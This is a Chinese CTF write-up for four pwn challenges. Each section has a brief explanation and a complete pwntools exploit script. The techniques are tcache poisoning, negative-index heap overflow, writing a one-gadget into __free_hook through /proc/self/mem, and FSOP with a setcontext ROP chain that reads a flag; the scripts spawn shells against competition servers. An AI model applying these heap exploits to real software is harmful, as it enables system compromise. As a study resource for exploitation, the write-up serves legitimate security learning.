剩下的vm和rpc看不懂,EXP及附件下载
veryeasy
首先申请10次块,那个限制就变成-1了,之后几乎没有什么限制了,可以看作普通的UAF的glibc 2.27的题
1 | from pwn import* |
2 | context.log_level = 'DEBUG' |
3 | def menu(ch): |
4 | p.sendlineafter('Your choice :',str(ch)) |
5 | def new(index,size,content): |
6 | menu(1) |
7 | p.sendlineafter('id:',str(index)) |
8 | p.sendlineafter('size:',str(size)) |
9 | p.sendafter('content:',content) |
10 | def edit(index,content): |
11 | menu(2) |
12 | p.sendlineafter('id:',str(index)) |
13 | p.sendafter('content:',content) |
14 | def free(index): |
15 | menu(3) |
16 | p.sendlineafter('id:',str(index)) |
17 | def show(index): |
18 | menu(4) |
19 | p = process('./main') |
20 | p = remote('122.112.225.164',10001) |
21 | libc =ELF('./libc-2.27.so') |
22 | for i in range(10): |
23 | new(i,0xF0,'FMYY') |
24 | for i in range(8): |
25 | free(0) |
26 | edit(0,'\x60\xF7') |
27 | new(10,0xF0,'FMYY') |
28 | new(11,0xF0,p64(0xFBAD1800) + '\x00'*0x18 + '\xC8') |
29 | libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - libc.sym['_IO_2_1_stdin_'] |
30 | log.info('LIBC:\t' + hex(libc_base)) |
31 | free_hook = libc_base + libc.sym['__free_hook'] |
32 | system = libc_base + libc.sym['system'] |
33 | edit(0,p64(0)*2) |
34 | free(0) |
35 | edit(0,p64(free_hook)) |
36 | new(14,0xF0,'/bin/sh\x00') |
37 | new(15,0xF0,p64(system)) |
38 | free(14) |
39 | p.interactive() |
unknown
add块的时候,有index的负数溢出,用堆块的指针把前面某个块的size覆盖,然后edit 这个size被覆盖的块,就能形成堆溢出,而覆盖会检测覆盖的位置是否为0,所以这个size被覆盖的块申请时size需要为0
1 | from pwn import* |
2 | context.log_level = 'DEBUG' |
3 | def menu(ch): |
4 | p.sendlineafter('Your choice: ',str(ch)) |
5 | def new(index,size): |
6 | menu(1) |
7 | p.sendlineafter('Index: ',str(index)) |
8 | p.sendlineafter('Size: ',str(size)) |
9 | def edit(index,content): |
10 | menu(2) |
11 | p.sendlineafter('Index: ',str(index)) |
12 | p.send(content) |
13 | def show(index): |
14 | menu(3) |
15 | p.sendlineafter('Index: ',str(index)) |
16 | def free(index): |
17 | menu(4) |
18 | p.sendlineafter('Index: ',str(index)) |
19 | |
20 | p = process('./main') |
21 | p = remote('122.112.212.41',6666) |
22 | libc = ELF('./libc-2.27.so') |
23 | for i in range(8): |
24 | new(i,0xF8) |
25 | for i in range(8): |
26 | free(7 - i) |
27 | for i in range(7): |
28 | new(i + 1,0xF8) |
29 | new(0,0x78) |
30 | show(0) |
31 | libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - 0x10 - libc.sym['__malloc_hook'] - 336 |
32 | log.info('LIBC:\t' + hex(libc_base)) |
33 | free_hook = libc_base + libc.sym['__free_hook'] |
34 | system = libc_base + libc.sym['system'] |
35 | new(8,0x78) |
36 | new(14,0) |
37 | new(15,0) |
38 | free(15) |
39 | new(-2,0x1FF) |
40 | edit(14,'\x00'*0x18 + p64(0x21) + p64(free_hook) + '\n') |
41 | new(15,0x10) |
42 | edit(15,'/bin/sh\x00\n') |
43 | new(13,0x10) |
44 | edit(13,p64(system) + '\n') |
45 | free(15) |
46 | p.interactive() |
fsplayground
和攻防世界的house of grey差不多,但是这个要简单许多,首先从 /proc/self/maps获取libc_base,然后打开/proc/self/mem,属性为1,lseek修改位置为free_hook,然后case 5往free_hook中写入rce即可
1 | from pwn import* |
2 | p = process('./main') |
3 | libc = ELF('./libc-2.27.so') |
4 | p = remote('119.3.111.133',6666) |
5 | context.log_level = 'DEBUG' |
6 | context.arch = 'AMD64' |
7 | def menu(ch): |
8 | p.sendlineafter('Your choice:',str(ch)) |
9 | def O(name,sign): |
10 | menu(1) |
11 | p.sendlineafter('Filename:',name) |
12 | p.sendlineafter('Option:',str(sign)) |
13 | def C(): |
14 | menu(2) |
15 | def L(off): |
16 | menu(3) |
17 | p.sendlineafter('Offset: ',str(off)) |
18 | def R(size): |
19 | menu(4) |
20 | p.sendlineafter('Size: ',str(size)) |
21 | def W(size,content): |
22 | menu(5) |
23 | p.sendlineafter('Size: ',str(size)) |
24 | p.sendafter('Content: ',content) |
25 | O('/proc/self/maps\x00',0) |
26 | |
27 | R(0x800) |
28 | p.recvuntil('Content: ') |
29 | proc_base = int(p.recv(12),16) |
30 | p.recvuntil('7f') |
31 | libc_base = int(('7F' + p.recv(10)),16) |
32 | log.info('LIBC:\t' + hex(libc_base)) |
33 | log.info('Proc:\t' + hex(proc_base)) |
34 | free_hook =libc_base + libc.sym['__free_hook'] |
35 | rce = libc_base + 0x4F3C2 |
36 | C() |
37 | O('/proc/self/mem\x00',1) |
38 | L(free_hook) |
39 | W(0x30,p64(rce)) |
40 | p.interactive() |
block
感觉我是非预期了,那个2333的选项应该是个后门函数,然而没用到,edit 存在单字节溢出,可以形成 overlap,unsorted bin中存在两个块就能leak libc和heap,然后double free劫持IO_list_all的指针,指向heap上2.24之后FSOP方法,buf base作为rdi,所以布局一下就能利用 setcontext+53 进行沙盒orw了
1 | from pwn import* |
2 | #context.log_level = 'DEBUG' |
3 | def menu(ch): |
4 | p.sendlineafter('Choice >>',str(ch)) |
5 | def new(tp,size,content): |
6 | menu(1) |
7 | p.sendlineafter('type:',str(tp)) |
8 | p.sendlineafter('size',str(size)) |
9 | ''' |
10 | big : 0x400 ~ |
11 | medium: 0x200 ~ 0x400 |
12 | small : 0 ~ 0x200 |
13 | ptr[0] = p |
14 | ptr[1] = type |
15 | ptr[2] = size | 1 |
16 | ptr[3] = (2 || 4 || 8)*size |
17 | ''' |
18 | p.sendafter('content: ',content) |
19 | def free(index): |
20 | menu(2) |
21 | p.sendlineafter('index: ',str(index)) |
22 | def show(index): |
23 | menu(3) |
24 | p.sendlineafter('index: ',str(index)) |
25 | def edit(index,content): |
26 | menu(4) |
27 | p.sendlineafter('index: ',str(index)) |
28 | p.sendafter('content: ',content) |
29 | p = process('./main') |
30 | p = remote('122.112.204.227',6666) |
31 | libc =ELF('./libc-2.27.so') |
32 | for i in range(7): |
33 | new(3,0x1E0,'FMYY\n') |
34 | for i in range(7): |
35 | free(i) |
36 | for i in range(7): |
37 | new(3,0x170,'FMYY\n') |
38 | for i in range(7): |
39 | free(i) |
40 | new(3,0x68,'FMYY\n') |
41 | new(3,0x108,'FMYY\n') |
42 | new(3,0x68,'FMYY\n') #2 |
43 | new(3,0x68,'FMYY\n') #3 |
44 | new(3,0x68,'FMYY\n') #4 |
45 | new(1,0x500,'FMYY\n') #5 |
46 | new(3,0x68,'FMYY\n') #6 |
47 | edit(0,'\x00'*0x68 + '\xF1') |
48 | free(1) |
49 | new(3,0x108,'FMYY\n')#1 |
50 | new(3,0x68,'FMYY\n') #7 |
51 | free(5) |
52 | show(3) |
53 | libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - libc.sym['__malloc_hook'] - 0x70 |
54 | log.info('LIBC:\t' + hex(libc_base)) |
55 | p.recv(2) |
56 | heap_base = u64(p.recv(6).ljust(8,'\x00')) - 0x28D0 - 0x130 |
57 | log.info('HEAP:\t' + hex(heap_base)) |
58 | new(3,0x68,'FMYY\n') #8 |
59 | free(2) |
60 | free(4) |
61 | free(7) |
62 | IO_list_all = libc_base + libc.sym['_IO_list_all'] |
63 | IO_str_jumps = libc_base + 0x3E8360 |
64 | fake_IO_FILE = p64(0) + p64(0) |
65 | fake_IO_FILE += p64(0) + p64(0) |
66 | fake_IO_FILE += p64(0) + p64(1) |
67 | fake_IO_FILE += p64(0) + p64(heap_base + 0x2790 - 0xA0 + 0x130) |
68 | fake_IO_FILE = fake_IO_FILE.ljust(0xD8,'\x00') |
69 | fake_IO_FILE += p64(IO_str_jumps - 8) |
70 | fake_IO_FILE += p64(0) + p64(libc_base + libc.sym['setcontext'] + 53) |
71 | |
72 | pop_rdi_ret = libc_base + 0x000000000002155F |
73 | pop_rdx_ret = libc_base + 0x0000000000001B96 |
74 | pop_rax_ret = libc_base + 0x0000000000043A78 |
75 | pop_rsi_ret = libc_base + 0x0000000000023E8A |
76 | syscall = libc_base + libc.sym['syscall'] |
77 | ret = libc_base + 0x00000000000008AA |
78 | Open = libc_base + libc.sym['open'] |
79 | Read = libc_base + libc.sym['read'] |
80 | Puts = libc_base + libc.sym['puts'] |
81 | FLAG = heap_base + 0x2870 + 0x130 |
82 | |
83 | orw = p64(pop_rdi_ret) + p64(FLAG) |
84 | orw += p64(pop_rsi_ret) + p64(0) |
85 | orw += p64(Open) |
86 | orw += p64(pop_rdi_ret) + p64(3) |
87 | orw += p64(pop_rsi_ret) + p64(heap_base + 0x2000 + 0x130) |
88 | orw += p64(pop_rdx_ret) + p64(0x30) |
89 | orw += p64(Read) |
90 | orw += p64(pop_rdi_ret) + p64(heap_base + 0x2000 + 0x130) |
91 | orw += p64(Puts) |
92 | new(3,0x68,p64(libc_base + libc.sym['_IO_list_all'] -0x23) + '\n') #2 |
93 | new(3,0x68,'./flag\x00\x00\n') #4 |
94 | new(3,0x68,p64(heap_base + 0x29D0 + 0x130) + p64(ret) + '\n') #7 |
95 | new(3,0x68,'\x00'*0x13 + p64(heap_base + 0x28E0 + 0x130) + '\n') #9 |
96 | new(3,0x180,fake_IO_FILE + orw + '\n') |
97 | menu(5) |
98 | p.interactive() |